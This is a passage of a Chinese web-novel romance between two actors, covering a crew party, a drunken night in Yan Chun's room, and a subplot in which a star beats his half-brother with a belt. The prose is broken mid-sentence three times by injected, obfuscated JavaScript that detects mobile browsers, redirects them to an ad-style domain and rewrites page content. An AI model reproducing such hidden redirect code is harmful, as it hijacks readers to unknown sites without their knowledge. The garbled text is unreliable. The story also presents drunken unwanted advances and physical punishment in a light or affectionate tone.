颜纯:“行,我去说。你们别管我了,可着他们闹吧。” 后辈们是真热闹起来了。桌上同龄人一多,信洋臭屁劲上来了。大手一拍:“我先给大家来个饭前笑话吧。” “前些天去超市让保安大叔认出来了,问我姓什么,我说信洋。哈哈哈哈哈哈。” 其他人:“……” 信洋:“不好笑吗?” 盛妆:“好笑吗?” 原以为这冷笑话就这么过了,但是大概十秒后,忽然有人笑到停不下来。 众人寻声看去,只见平日里剧组情绪最稳定的颜纯,头埋在臂弯,肩膀连着上半身,抖动个不停。 他正在拼命将笑憋回肚里,那标准的反派式鸭子笑声当着这么多人面暴露,实在有损他高冷影帝的形象。 但……姓什么?信洋。 “噗哈!哈哈哈哈哈哈哈哈哈哈嘎嘎嘎嘎嘎嘎……” 一桌子人没被信洋的笑话逗笑,倒被颜纯那极具感染力的反派笑声笑倒了。 大家都在笑,信洋反而不笑了。他紧紧捏着卫生纸,紧张兮兮盯着颜老师,生怕他笑太猛呛到。 他不觉得那嘎嘎嘎嘎嘎的笑声有多么好笑,他只觉得……小鸭子本来很可爱啊,小鸭子难道不可爱?谁敢说小鸭子不可爱? 越听越觉得,真的超可爱好不好! 而在离他们十公里外的高速路上,一辆银马超跑疾如闪电,一口气超了五六辆车,引得鸣笛声与咒骂声不断。 漆疾风眉头紧锁,眼神阴沉,愤怒替代了他平日里焊在脸上的那惺惺作态的假笑,就连眼下的乌青,都透着一股子凝重。 浓烟自他口鼻间喷出,他不断地拨打着同一个号码,耳机里也同样不断传来无人接听的提示音。 一个来电稍微安抚了下他的怒火。 “风哥,小海的号码显示还在国内,我查了,他买的机票是后天的,琪姐说两天前在皇冠见过他。” 漆疾风悬着的心回落了些:“行,我知道了。” 一脚油门踩到底,半个小时后,他飙到了□□。 把皇冠翻了个遍,他没找到要找的人。两小时后,终于,在距离皇冠两百米的一个小酒吧里,他找到了他同父异母的弟弟,漆小海。 “啊啊!你谁啊?” 散发着甜腻幽香的昏暗包间里,玫红色椭圆大床上,脱得光溜的一男一女被踹门进来的漆疾风吓得直尖叫。 “滚!”漆疾风吼退他们,反锁上门,抽下裤腰带,对着床上还陷在温柔乡里一脸迷醉的漆小海抬手就抽。 惨叫声四起,漆小海被兄长抽得在床上直跳。房间太小,一张大床一个挂器具的木架子,一张秋千式沙发,几乎填满了整个空间。漆小海躲无可躲,最终只能抱着被子缩在床角求饶。 “哥我错了,我错了!求求你别打了,哥!啊!哥哥!” 从小到大,漆疾风揍他的次数一只手都能数过来。但每一次,漆疾风都绝不会因他痛哭流涕的求饶而停手。 漆疾风一点力没留,抽到自己墨镜都掉了。他避开那些镜头会拍到的位置,狠狠抽在被子上,抽到自己累了才停手。 虽然有被子做缓冲,漆小海还是疼得直打颤。但漆疾风一停手他立马仰起脸冲漆疾风讨好的笑:“哥……哥……你今天不是有戏拍吗?” 漆疾风扯开衬衫,点了根烟,敞怀坐到沙发上,余怒未消的双眼盯着漆小海:“说,你去拉斯维加斯干嘛?谁让你去的?!” “我……我不是被剧组刷了嘛,心里很难受,就想去散散心。”他之前也参加了《港色》的选角,并顺利过了海选,和信洋江子翘一起参加培训,也顺利通过了最终的一面二面,最后却因为封闭训练期间偷跑出去幽会富婆,三面被刷了。 “又不是什么大错,狗仔那边都压下来了,凭什么他们不让我——” “还撒谎?”漆疾风受够了他颠倒是非,提着皮带又站了起来。 漆小海赶忙喊道:“我说我说,哥!是洪兴哥给我的请柬,邀我去他的邮轮上玩。” “玩?”漆疾风被气笑了。他看着眼前这张即使糊满眼泪鼻涕也浓丽的漂亮脸蛋,再次信了那句话——好看吗?全是用脑子换的。 “你知道那里都是什么人吗你就敢去?你是不是嫌自己命长?刘洪兴的局你都敢参加,活腻歪你可以直说。” “哥我错了,我不去了!我绝对不去了,我发誓,我要是去你就剁了我。” “闭嘴,这些话留着说给闻姨听。” 漆疾风踩灭烟,上前拽起漆小海,胡乱往他光溜的身上裹了一片蕾丝帘子,扛着他往外走。 漆小海疯狂挣扎:“哥我不见她,我求求你,我不想见她,哥!” 他情真意切的哭泣也没有软化漆疾风坚硬的心。漆疾风将他扛上车,反锁车门,对他的抗议视若无睹。 闻香云,漆小海的亲生母亲,是他俩在世界上唯一的亲人,躺在疗养院里已七年。 七年前,闻香云被第二任丈夫漆雄打成植物人,她躺进疗养院的第二个月,她的亲生儿子漆小海,为同父异母的哥哥漆疾风挡了父亲一改锥,永远失去了右耳听力。时间再往前拉,十三年前,漆疾风的亲生母亲受不了丈夫漆雄的家暴,选择喝农药自杀。 “哥你要是真的对我好就不要让我见她,我求你,哥!”漆小海拍打着车窗歇斯底里。他因为一只耳朵听不见,说话音量总是比别人大,嚎叫时也是。别人可能会觉得无比刺耳难以忍受,但漆疾风早习惯了。 “我就知道你压根不是真心关心我,你不是真的爱我,你总逼我做不爱做的事,见我不想见的人!要不是我当年替你挡那一下,你早把我扔了!” “对,是,如果当年你不替我挡那一改锥,我今天绝对不会管你。你是谁,你在哪,是活是死和我没有一点关系,漆小海。” 漆小海没声了。这是漆疾风第一次回应他的胡说八道 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15124107|164308||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,无理取闹,以咬牙切齿绝对肯定的语气,和这毫不留情的用词。 车内陷入寂静。 良久,漆小海抽抽噎噎地问:“你真的会不管我吗?” 漆疾风没说话。 漆小海默默去扯兄长的衣角,无声求和好。他比漆疾风小十一岁,今年19,比信洋还小,正是手里有点闲钱就由着性子胡来的年纪。 “我听你的,我去见她,你给我买身像样的新衣服吧,我不想这样去见她,哥。” “你也别不管我,我会听话的。” 漆疾风侧目看他一眼,深吸口气,调转车头,带他买了一身名牌,领着他来到疗养院。 “妈,哥打我,哥还说不管我了呜呜呜呜呜,妈我没脸见你呜呜呜呜呜呜,妈妈我好想你嗷嗷嗷嗷嗷……”漆小海跪在闻香云床前,哭得情真意切,哭得医护人员都用别样的眼光看了漆疾风好几眼。 漆疾风破罐子破摔,踢了漆小海两脚:“当着闻姨的面发誓。” “我发誓,我发誓,我决不会去参加洪兴哥的局,决不去赌城,如果去就让哥剁了我。” “我不会碰你一下,你要是去就当没我这个哥。” 漆小海愣了:“哥,你、你认真的吗?” “发誓,你去我们就断绝关系。”漆疾风在原则性问题上一点步都不让。 “好,好我发誓,我发誓……” 医护人员松了口气,原来大明星是个面冷心好的哥哥。 从疗养院出来已接近凌晨。漆疾风点了支烟,待漆小海磨磨唧唧上车后,拽过他,扒了他外套给他上药。 酒精、纱布、药还是刚才的医护人员给他的。 “反正每回打完都你亲手包扎,何必打那么重呢,我就知道你不会不管我的哥。”漆小海讨好地冲哥哥笑着,笑容里裹着一团有恃无恐的孩子气。 “闭嘴。让我再发现一次你像今天这样胡来,我绝对打断你的腿。” “那你能不能也正儿八经给我找个嫂子,别胡来?多回家陪陪我不行吗?雯雯还想吃你做的糖醋里脊呢,死活都盼不到你回来,所以才跟我分的手。” “你是谁?管我?” “你看你,只管州官放火,不许百姓点灯,是不是太霸道了些。” 漆疾风冷哼一声,不欲与他在这种无解的事情上浪费口舌。包扎完,他打给了经纪人常五。 “五哥,我找到小海了,今晚太迟了,明天把他带到公司行吗?” “不用,你直接带去剧组,咱们到时候见。你告诉他,公司这次为他争取再次面试的机会可花了不少钱,他要是再把握不住,抢不到信狼一角,刘总就要找他好好聊一聊了。” 漆疾风心里一沉:“好,我知道了。” “切,看吧,他们压根不上心,只知道压榨我们,哥,我说真的,咱俩一起解约走吧。不就是赔违约金吗,赔他就是了。” “你在做什么春秋大梦?他们会放我走?” 山峰传媒成立于十二年前,漆疾风是他们签的第一批里,为数不多至今还活跃在娱乐圈的艺人。他和公司一起成长,公司背后那些该知道的不该知道,他多少了解。所以哪怕现在山峰传媒已颓势明显,他也不敢轻易提解约。 “那你不走我也不走。”漆小海说。 漆疾风最后悔的,就是带漆小海入这行,签山峰。当年他太信任常五,和对方一起搞了不少合作和投资,现在被这些牢牢绑死,无法抽身。 车驶上回城的高速,夜色深重,前路漆黑。 副驾驶上漆小海已经打着呼睡熟了,他永远这么没心没肺,因为他知道永远有人依靠。 漆疾风放慢车速,带着没心没肺的家伙,在黑夜里稳稳前行。 对他而言,今夜注定是个不眠夜,对几十公里外的信洋来说亦是。但可惜,第二天当他从颜纯床上醒来时,他可悲地发现,自己竟然喝断!片!了! 13. 第 13 章 信洋脑子宕机了有一个世纪那么长。 他顶着头乱毛跪坐在蓬软的被褥间,手下摩挲着柔软亲肤的棉被单,嗅着熟悉的味道,一转头,视线和悠哉悠哉甩着尾巴的奈儿对了个正着。 奈儿长长一条搭在沙发背上,歪着小嘴一脸鄙视:又幸福了献丑小羊? 你羊占猫窝了知道不? 还不快让开? 赶紧转头,却又和一只玩偶对上了视线。玩偶身上盖着一条小花毯,躺得端端正正,只露着小脑袋,毛色有点旧。信洋盯了好几秒才看出来那是一只海獭。 早上颜纯临走时,专门把逗逗逗放他身边陪他睡的。他还写了纸条放在逗逗怀里——goodmorning~ ……什么鬼!信洋嘴角抽抽,火烧屁股赶紧跳下床。 这被子的味道,床的味道,房间的味道,和颜纯身上的一模一样!都是那股浅浅的掺了小苍兰的桃味甜香,他怎么会在颜老师床上?!!身上还只剩条裤衩子?!!! 啊啊啊啊啊啊啊! 信洋手忙脚乱抓起沙发上的衣服一顿乱套,边套边往外逃。 屋里没有其他身影,就他一人。幸好颜老师不在!他露着半个结实的屁股蛋,跟被抓个正着的奸夫似的,避开人多的线路,绕到宿舍后面,一路嗷叫着往自个宿舍跑去。 边跑边把昨晚的记忆,从宿醉后重的跟冬瓜似的脑子里翻出来检查—— 当时众人从颜纯魔性的笑声里缓过来后,就开始大快朵颐了。中途不知谁提了一嘴,干脆搞个海鲜音乐会,边吃边嗨歌,剧组的兄弟们还真的就麻溜的搬出来了音响和话筒。 食堂有安耀阳兄弟仨年轻时候的镜头要拍,最东头90年代迪斯科大舞台早就搭好了,今儿正好用上。于是信洋就被推上了灯光耀眼的炫彩大舞台,聚餐瞬间变成了大型追星现场。 有人天生适合音乐,适合舞台,说的就是信洋。他这一登台,一抱吉他,气质立马从二兮兮的冷笑话大王,变成了放荡不羁的摇滚巨星。光一个调音的动作,就引得剧组年轻的小姑娘们吱哇乱叫。 “献丑了各位,点歌吧。袁导,您先来?” 袁严凑到李麦耳边:“想听什么?” “来首粤语老歌吧,衬景儿。洋仔粤语怎么样?”李麦问。 信洋粤语全是四岁前跟妈妈学的,妈妈去世后他被古德强带着北上,脱离了粤语环境,古德强又强制他不准讲粤语,于是渐渐便忘了怎么讲。半年前剧组语言培训课时才又捡起来,总的来说,粤语水平很一般,但是有几首粤语老歌,他从小听到大,熟得很。 “没问题。”信洋斟酌着要唱哪首,视线掠过台下数十双眼睛,和那双浅琥珀色的一对上,心头陡然冒出一首歌名,就它了! 莫名有点紧张,信洋清清嗓,开唱: 爱恋没经验,今天初发现 …… 可爱的一个初恋(1) …… 信洋唱的是自己在演唱会上表演过的版本,比原版轻快跳脱,还带着点孩子气味的炫耀。 台下小伙子们姑娘们听这免费的演唱会听美了,还搞起了应援。 葵葵拿着相机,拍他家艺人发vlog的素材。镜头里,信洋就和平时在舞台上一样,积极地和歌迷们互动。肢体语言和甚至比正式演出都要丰富,能看得出来他此刻偶像包袱没那么重,也没有故意装逼耍帅,整个人都比较放松。 而且,他的双眼映着五彩的灯光,亮晶晶的,唱一句,溜一圈,定到一个地方,再唱一句,回溜一圈,依旧定到那个地方。 莽撞热切,想又不敢,欲盖弥彰。 葵葵举着相机随着他的视线移动,两秒后,镜头里出现了颜纯安静的侧脸。 她手一抖,镜头在信洋和颜纯欻欻欻来回晃了十几下,猛然定格,调焦至两人同框。 葵葵的嘴角缓缓、缓缓翘起,露出个发现了天大秘密的隐秘窃笑。怪不得摇滚魂的摇滚洋今天会选这首歌,怪不得,嘿嘿嘿。看来这条素材不能上交了哦。 颜纯丝毫不知自己入境了哪里,他单手托腮,双眼笑盈盈微微眯起,享受歌者的表演。此刻此刻舞台上那游刃有余,举手投足间都散发魅力的人,和拍戏时手足无措的菜鸟简直就是两个。果然,人的魅力会在自己擅长的领域被无限放大。 可惜他胃还是不舒服,未能全情投入信洋的表演。一曲了,满堂喝彩中他垂头去揉胃。其实完全可以回去休息,他本来也不是爱热闹的性子。但氛围实在太好了,他有那么一点点留恋,还想和小年轻们再待会儿。 信洋嘴角眉梢洋溢着臭屁小孩独有的得意劲儿,双手大张,坦坦荡荡,迎接着台下的赞扬。但很快,他翘起的嘴角耷拉了。他发现颜纯低着头,没有为他鼓掌。 看来要上绝活了。 他放下吉他,移开立架,拿了麦克风,表演自己热度最高的一首舞曲《HELLO MISS瑟》,准备大跳大腿舞。 信洋16岁出道曲爆火后,接连扑了两首歌,后续是Tiger哥和林照企划的“18岁三部曲”将他重新推上了高峰。其中他20岁发布的这首从活力矫健的阳光少年,转型至性感小诱惑轻熟男的《HELLO MISS瑟》,成绩最好。 这首歌在各大短视频平台尤其火爆,甚至火到了国外,简直就是万人蹦迪现场首选。 DA DA DA DA DA DA DA DA DA DA DA DA …… 中毒性极强的前奏一出,大家伙都沸腾了。 人群中不分男女,全都在哪癫狂地大喊:“MISS瑟,MISS瑟!one two three four !” 副歌响起,信洋开胯,叉腿,帅脸轻轻一偏,下巴轻轻一抬,偏出欲拒还迎,抬出欲说还休。 信洋:HELLO MISS瑟,看看我 台下:so hot!!! 信洋:HELLO MISS瑟,靠近我 台下:so hot so hot!!! 信洋:HELLO MISS瑟,伸出你双手 台下:touch touch!!! 信洋:HELLO MISS瑟,say my name~ 台下:so hot so hot!!! 信洋:HELLO MISS瑟,DANCEWITH ME ALL NIGHT! 台下撕心裂肺:ALL NIGHT!!!!! 信洋:Dont say no~ 信洋:MAKE ME CRY~ 台下:啊啊啊啊啊啊啊啊! …… 他四肢修长,有从小练Hiphop的基础,核心特稳。加上这半年没日没夜的练,大腿肌肉膨胀漂 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15124108|164308||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 亮,让原本就焦点集中在腿部的性感舞蹈,更加充满张力,色气满满。 颜纯顿时胃都不疼了。现场看和隔着屏幕看到底有差距,这么近的距离直接把他看爽了。 信洋在上面跳,他在哪研究歌词,make me cry,cay~这性感小羊有意思了昂。 信洋做着令人热血沸腾的动作,偏偏,那张帅脸上没有一丝油腻感,甚至还有点忐忑害羞。这反差感动摇了剧组里见惯了明星的姐姐们的心。 “洋仔!多扭点,姐姐爱你!” “下来扭下来扭。” 信洋跳下舞台,身上顿时多了十几只手。 他踏着节奏走向几位前辈。李麦挤在年轻人中间,伸手要去凑热闹,被袁导一把抓回了怀里。 好来哥和麻哥也哈哈哈哈大笑着跟着年轻人们开始跳摸大腿的动作,只有颜纯两手插兜,看着他们闹。 后辈们都在那儿疯狂起哄:“纯哥!扭起来!纯哥!扭起来!” “真不会!真不会啊!”他连忙摆手,“你们别闹我啦!” 有人来抓他一起扭,他连忙将手塞进裤兜。 信洋还再往他跟前凑,那衣摆下若隐若现的漂亮腹肌,跟块散发着香气的红烧肉似的,馋的颜纯直默默咽口水。 他庆幸自己今天穿了有兜的裤子,要不然这双手非得伸上去摸一把。 然而肌肉还是到了他手里。 袁导一把将颜纯推上前,颜纯惊呼一声抬手去挡,两手直接就被李麦按到了信洋身上。1秒内,颜纯整个人直接红温了。 袁导还在那起哄:“Daddy摸!Daddy摸!” 所有人把他和性感小羊围在人群最中间,哄叫着,笑闹着。颜纯挣扎着抽出手,两手捂住滚烫的脸,肌肉虽好摸,但也不适合在这么多人面前摸啊!他羞到直往饭桌底下爬…… 看来颜老师是真的不喜欢。是本来就不喜欢肌肉呢,还是单纯不喜欢他的肌肉?信洋看到满脸拒绝的颜纯止不住地胡思乱想。 他越跳脸色越不对劲,这种不对劲,在之后江子翘上台耍长枪,颜纯直起身拍掌大声叫好时,直接演化成了失落。 完全无法掩盖的失落。 信洋坐在角落,啤酒一瓶接着一瓶往嘴里闷。 难受!郁闷!凭什么! 早知道我也耍两下子好了,跳什么舞,还让人摸什么肉!他低头狠狠拍了一把大腿,不争气的东西! 颜纯摸也摸爽了,嗨也嗨够了,这才和其他几位前辈溜溜达达回住处了。 宿舍是直接租的单面职工宿舍,一共四楼,没有电梯。他慢悠悠晃上来,顺着廊道来到最北面的307门前,刚掏出钥匙打开门,身后就传来了一阵拖沓沉重的脚步声,伴随着浓重的酒气。 信洋已经醉到没什么理智了。他直勾勾盯着颜纯,眼神沉甸甸流露着浓稠的伤感,盯得颜纯丈二的和尚摸不着头脑。 他直觉不太对劲,轻声问:“怎么了?” 信洋跺脚:“开门!” 呀,性感小羊撂蹄子变愤怒小羊了,为啥啊?门刚被打开,颜纯就被信洋攥着手腕扯进屋。 砰!愤怒小羊关上门,刷刷两下拉上窗帘,站回到懵逼的颜老师面前,开始解牛仔坎肩的扣子。 “不、不是,你干——” “他们都摸你为什么不摸?!”信洋抓起他手按到自己腹肌上,“给我摸!” 14. 第 14 章 “他们都摸你为什么不摸?!”信洋抓起他手按到自己腹肌上,“给我摸!” 颜纯:“……” 颜纯哭笑不得,手心在烧,脸也在烧,这都叫什么事儿呀。 “好吧好吧,我摸,摸还不行吗。”人少了颜纯就放开了,只是那皮肤太烫,他压根不敢真的摸实,只虚虚搭着。 “不要这么敷衍,用点力!是不是这里手感不好?我还有更好的。”信洋抓着他的手开始往裤腰里伸,他的屁股肉因为长久持续性的锻炼,贼韧贼弹,小时候哥哥姐姐没事上来就拍一把。 但是颜纯会错了意。 “不行不行,这怎么行啊天哪!”颜纯死命往外扯手。 “行!” “这真不行。” “行!”信洋又跺脚。 “好好好好好!我自己来!我自己来行吗?”颜纯直冒汗。 信洋坚持不放手,颜纯只好皱眉唬他:“古信洋,你听不听话?” 信洋被他吼得一愣,憋嘴,愤怒小羊变身委屈小羊。他松开手,咬唇,抽抽噎噎,“好,我放开,那你一定要来,颜老师。” 颜纯立马抽回手,揉被攥红的手腕。 “你知道那是哪你就让人摸。”他暗松口气,为掩饰红透的脸连忙弯腰去换鞋。 委屈小羊静悄悄的,没反应。 两秒后。 吧嗒,吧嗒,两大滴泪珠砸在了颜纯面前的地板上。 颜纯:“……” 不是吧。 “呜呜呜呜呜……”信洋拉开门狂奔而去。 “!”颜纯光着脚就追了出去,“你给我回来!古信洋!” 费了九牛二虎之力,颜纯扯着人裤腰带将人拽回了307,一把推到在了沙发上。 信洋还不依,挣扎着要坐起来。“我找别人去!” 颜纯冷了脸:“你敢。” 朦胧的泪眼盯了他几秒,信洋收回腿脚,把自己团吧团吧安顿在沙发一角,“我不敢。”一副委屈坏了的样子。 颜纯:“……” 今晚无语上面长了个颜纯。 “它怎么在你这?!”信洋指着从卧室溜达出来的奈儿,一脸愤懑。 “照顾它的工作人员周末回家,这两天就先放我这儿养着了。”颜纯打量着他的神色,“在这儿乖乖坐着,我去给你泡杯蜂蜜水。” 蜂蜜刚入杯,颜纯就听到客厅传来了震天响地的哭声,吓得他差点撂了杯子。 他探头看,信洋跪坐在沙发前的地毯上,抱着印着奈儿大头贴的抱枕,哭得情真意切,稀里哗啦。 为什么不放印着他照片的抱枕?这猫有什么好看的!他等会就叫葵葵去加急制作无数个印着他腹肌照片的抱枕,然后装满颜老师的家!装满!呜呜呜呜…… 颜纯深吸口气,他还没经历过这种场面。 他端着蜂蜜水出去,信洋抬头,深深地,无比失望地看了他一眼,咬唇忍住了哭声。 眼泪还能这么收放自如呢,有意思。颜纯将蜂蜜水放到茶几上,看着他,别说,这张脸哭起来大眼睛湿漉漉,鼻尖通红,还真好看。 “再哭一个。”他说。 信洋闻言立马憋嘴,眨眼的功夫,两眼里眼泪花花打着转。 颜纯冲他五指大张,又刷一下捏在一起,施展魔法:“收!” 嘴立马不憋了,泪花也缓缓收回去了。 “这么厉害呢。” 信洋骄傲地一扬下巴:“泪失禁,无所畏惧。” 颜纯:“……哈!哈哈哈哈哈嘎嘎嘎嘎嘎嘎嘎嘎……” 颜纯被精准戳到了笑点,笑到停不下来,笑到直接手动去撑两眼眼尾。认识信洋以来,他不知道多了多少条眼尾细纹。 信洋听着他的笑,看着他把自己眼睛扯吊,迷迷糊糊地想,太可爱了,实在太可爱了,我忍不住了。 他啪啪啪啪跪着膝行到颜纯面前,两手一抬自下而上捧住了他的脸,开rua! …… 颜纯直接被rua懵了。 大胆!放肆!某羊喝了点酒直接化身成狼了! “唔——”颜纯嘴被rua到嘟起。 醉羊羊目光闪烁,盯着那双圆润饱满的唇。 房间里一时鸦雀无声,两个人类都一动不动,只有奈儿的小身影围着他们来回转。 颜纯前所未有的紧张,那感觉简直就跟小时候考试前一模一样,脑子里完全不受控制地开始自动播放人生之歌—— 你的炽热我无法设防 还总是让我心花怒放 幸亏我拥有爱的力量 愿意陪你满世界疯狂1 …… …… “好香,好甜。”信洋猛然凑上来,灼热的呼吸擦过颜纯的唇鼻,使劲嗅闻颜纯脖子那块儿。 “颜老师你是不是涂了魔法药水,桃子味的,还是小苍兰?搞得我一天想闻八百遍。” “什么魔法药水。”颜纯一个劲往后仰脖子,“我还桃子味敌敌畏呢。” 颜纯身上那味儿来自于他自制的香水。去年他原本要和一国际大牌出联名款香水,说好了让他自己调香,结果他调出来太甜太温柔,测试线上没过,最后就选用了人家专业香水师调的一款男人香,出了一条全新的品牌线。 香水卖得挺好,但是颜纯还是喜欢自己调的,就把那些被人家淘汰的几瓶样品全带回了家,专门配制了粉嫩嫩春天一样清透的小瓶子,还给起了名字,就叫“桃桃”,没事就喷喷,闻闻。他屋子里全是这味。 “行了啊。”古信洋闻着闻着在那蹭上了。 “再闻闻再闻闻。”信洋深深吸了一口,仰头,“嘶~哈~”爽到跟高|潮了一样。 “你好甜哦……”他又晃晃悠悠跟颜纯拉开了距离,但是依旧没有放开rua他脸的手。 颜纯也不知道自己闻了魔法药水,明明随便一挣就能逃开,但他愣是没动。 不知过去了多久,他看到醉羊羊喉结滑动,很明显吞咽了口口水,然后一脸遗憾地松开了手。 呼—— 颜纯长出一口气,庆幸的同时,心底滋生了头发丝粗细的那么一点完全可以忽略不计的遗憾。 信洋脸正脸朝下,把自己埋进沙发里。 好怂,不敢,怕被推开,嘤。下一场吻戏啥时候啊啊啊啊啊啊! 信洋烦躁地伸手,一把捞过踩来踩去的奈儿,将脸埋到它柔软的小肚子上。奈儿平时不让人碰,但碰上信洋这么蛮横的也没法,一脸生无可恋的躺平了。 “你听,它的呼吸声。”信洋声音闷闷的,对颜纯说。 怎么还研究上猫的呼吸声了?这思维也真够跳跃的,幸好颜纯也是个从不按套路出牌的。他也坐到了地毯上,将手 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15124109|164308||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 搭到奈儿身上,感受着它的心跳。 “嗯,听到了。” 信洋眼角余光瞄着他轻轻抚摸奈儿的手,瞄着瞄着,他猛地抬起头,一把抓过那只温柔的手,按到自己头上。 “撸我。” “……□□。”颜纯叹气,认了,认真撸这颗手感极好的猕猴桃。 见他没有恼,信洋更加得寸进尺。 “你为什么都不夸我?你夸翘哥长枪耍得好,你夸阿朝姐拳打得好,你还夸小葵心细,你还夸园子里月季开的好,草也长得绿!你就不夸我!为什么!袁导都说我进步了,你为什么不夸我?!” “别人都给我鼓掌你为什么不鼓?我唱歌不好听吗?跳舞不好看吗?肌肉不好摸吗?你说!” 颜纯:“……”就为这回事吗? 他下午亲手剃的寸头,发岔粗硬,挠着他的手心,痒意直达心底。 他摸着委屈的小羊头,“要听实话吗?” “你确实还没做到让我情不自禁要夸的地步。不过袁导夸你了,就证明你真的进步了,导演的角度更客观。” “可我想要你夸。” 信洋一抽鼻子,语气分外认真,认真到颜纯考虑要不要接这句话。 良久,他问:“你为什么想让我夸你?” 信洋没有立即回答,他上下眼皮打着架,嘟嘟哝哝的:“因为……我想……” 我想什么?说了啥?到这记忆就断片了。 可是已经不重要了。 一切都不重要了。 不重要了。 哈哈哈哈哈哈哈,呜呜呜呜呜呜呜呜呜呜,嘎嘎嘎嘎嘎嘎嘎嘎嘎嘎,噶! 信洋想报警把自己抓起来。 以他对自己的理解,这肯定不是全部。他迅速冲了个澡换好衣服,跑去训练场找盛妆。 “姐,我昨晚……喝大了?” “喝大了,抱着我们哭,说你戏不好,没接住纯哥的戏。该回吻也没回吻,还说要去求导演再给你一次机会,你一定兢兢业业回吻,争取做到最好,让纯哥也夸你。” 信洋:“……” “你还非要跟纯哥回他屋,我和子翘俩人都拉不住你。你说你大晚上不睡觉去纯哥屋,存了什么心思呀?”盛妆看这傻大个脸红太有意思了,忍不住就想逗。 “我我、我能有什么心思,我就是想找颜老师请教请教怎么演好。” “哦,是吗?我刚看见纯哥在拳击室,你要不要继续去请教他?” “那我去找他。” 信洋一路狂奔,来到拳击室。颜纯刚练完拳,拆下装备,额前碎发湿成一缕一缕。看见他面色没什么变化,只问:“头疼吗?” 信洋头摇的跟拨浪鼓似的:“不疼。” “颜老师,我昨晚……没做什么太过分的事吧?” 呲啦,颜纯扯开手套胶条,“你都忘了?” “嗯……记得一些。” “就你记得的那些。” 信洋大喜:“真的?” 颜纯点了点头。 呼,信洋悬着的心终于落下了。颜老师不是骗人的人,他说没有肯定就没有。真好,不至于报警了。 信洋紧绷的神经放松了没几秒,就又听见颜纯的声音幽幽响起:“哦对,你还在我床上显了个原型。” “非要让我把你当成床垫,在你上面睡。” 15. 第 15 章 信洋:“!!!” “颜老师我那啥,我还没睡醒,先回去了!” 信洋恨不得四爪着地遁走,颜纯嘴角噙着笑,看他那慌不择路的背影,又想起昨晚的事。 “因为……我想……被你看见。” “被你看见”,无法细思的四个字,颜纯直接忽略了,他说:“现在不正看着呢?” “不,不,不不不!不是这么看,是那么看!”信洋把头摇出重影。 “……你不懂呜呜呜呜……你不会懂的,没有人会懂呜呜呜呜呜……就像白天不懂夜的黑~” 这咋还唱上了,戏真多。 颜纯寻思高低得让袁导给眼前这个戏精哭包多加两场哭戏。不过哭归哭,倒是也不烦,越逗越觉得好玩。 他好声好气哄道:“那你说,怎么看?” 信洋噘着嘴一秒都没犹豫,凑上前来两只大爪子又捧起颜纯的脸,然后抵着他额头,望进他眼里。 “这样,就这、这样……我……想要你……” “我想要你……只看着我,这样一直……” 四目相对,满含痛楚与泪水的眼,深情款款,这是多么暧昧多么有氛围多么令人激动的场景啊,可惜,某醉羊对眼了。 “噗!”颜纯实在没忍住,两眼笑成了弯弯月。 信洋晕乎乎的脑袋又仿佛闻到了花香,听到了鸟鸣,看到了一整个冰消雪融的春天。 他情不自禁咕嘟一声,咽下那潺潺甘冽的雪水,话题一百八十度大转弯:“真的好好看啊,你怎么这么好看?” 然后欺身而上,“你也太好看了吧,能不能让我喝一口。” “啊?诶诶诶诶诶,我靠!古信洋!你——yue——” 死腿快跑! 颜纯四肢一顿倒腾,爬起窜开,狂擦被舔到的脖子,“你恶心死我!别过来!” “不准动,乖乖站那,脚一步都不能移!” 信洋杵在原地两秒,两只大手掌唰一下抬起,快速扇动:“我飞!” …… 什么神经玩意儿!颜纯尖叫着跑开。 不大点的屋子里,他逃,他追,他插翅难飞,并且被结结实实压在床上狂喝了一口。 后脖颈子被吸住时,颜纯是真想扇自己,逗这醉鬼干嘛! “你是有什么大病,嘬人后脖子。”那块皮肤薄,好痒啊。 “我……我……”酒精终于发挥了正确的作用,信洋吸吸闻闻舔舔,胡闹了会,瘫在床上不折腾了。 “拍拍……”他抓着颜纯的手放在自己头上。 “拍你个头!”颜纯啪啪啪趁机狠捶他几下,才收力。 信洋被捶得舒服,化身一条巨虫在床上赖赖唧唧蛄蛹:“床……太软。” “软怎么了?” “睡着腰疼。” “你有腰嘛你!”信洋的倒三角身材出了名的腰短腿长。 “我硬……你睡我上面,腰不疼。”说着就把颜纯往自己身上按。 “滚滚滚滚。”颜纯从他手臂下钻出来,信洋眼睛都没睁开,便憋着嘴支起摇摇欲坠的上身,乱挥着手追上来。 “行了啊,再哭真不可爱了。” 醉羊浑身一僵,以林妹妹之姿侧倒在床,捶床而泣,:“……不爱就不爱……”撕心裂肺大吼:“爱情不是你想买,想买就能买~” 